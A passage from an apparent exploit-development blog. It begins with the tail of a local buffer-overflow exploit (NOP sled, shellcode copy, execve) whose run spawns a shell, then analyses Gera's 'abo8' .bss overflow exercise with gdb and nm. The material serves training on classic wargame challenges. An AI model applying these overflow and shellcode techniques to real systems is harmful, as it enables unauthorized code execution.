        memset(p, '\x90', 16);
        p += 16;

        /* set shellcode */
        memcpy(p, shellcode, strlen(shellcode));
        p += strlen(shellcode);

        *p = '\0';

        execve(argv[0], argv, NULL);
        return -1;
}
[dennis@localhost bof-jmp]$ ./exp
sh-2.04$
When usable, using a jmp is much cleaner than hardcoding an address and on some systems--most likely nothing considered new--it can bypass some ASLR restrictions.

Tuesday, January 4, 2011

Advanced Buffer Overflow #8

Hiatus over!


/* abo8.c                                       *
* specially crafted to feed your brain by gera */

/* spot the difference */

char buf[256];

int main(int argv,char **argc) {
 strcpy(buf,argc[1]);
}


I run into the same issue as with abo7: that due to how the binary is linked together there is nothing valuable to overwrite when overflowing buf.

buf is in the .bss section:

$ nm abo8 | grep buf
08049620 B buf

.bss section starts at 0x08049600


(gdb) maintenance info sections

...

    0x08049600->0x08049720 at 0x000005e8: .bss ALLOC
    0x00000000->0x0000007e at 0x000005e8: .comment READONLY HAS_CONTENTS
    0x00000000->0x000000a8 at 0x00000668: .debug_aranges READONLY HAS_CONTENTS
    0x00000000->0x00000048 at 0x00000710: .debug_pubnames READONLY HAS_CONTENTS
    0x00000000->0x00000375 at 0x00000758: .debug_info READONLY HAS_CONTENTS
    0x00000000->0x0000010a at 0x00000acd: .debug_abbrev READONLY HAS_CONTENTS
    0x00000000->0x00000244 at 0x00000bd7: .debug_line READONLY HAS_CONTENTS
---Type  to continue, or q  to quit---
    0x00000000->0x00000030 at 0x00000e1c: .debug_frame READONLY HAS_CONTENTS
    0x00000000->0x000000ae at 0x00000e4c: .debug_str READONLY HAS_CONTENTS


and it is 288 bytes

(gdb) p/d 0x08049720-0x08049600
$1 = 288

I start seeing some segfaults at 2528 As when it starts hitting inaccessible memory:


(gdb) run `perl -e 'print "A"x2528';`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/gera/abo8/abo8 `perl -e 'print "A"x2528';`

Program received signal SIGSEGV, Segmentation fault.
0xb7ea5ba6 in strcpy () from /lib/tls/libc.so.6

(gdb) x/1000x 0x08049600

...

0x8049ff0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a000:      Cannot access memory at address 0x804a000


Also verified by nm ordered by addresses:

$ nm -n abo8

...

08049620 B buf
08049720 A _end
$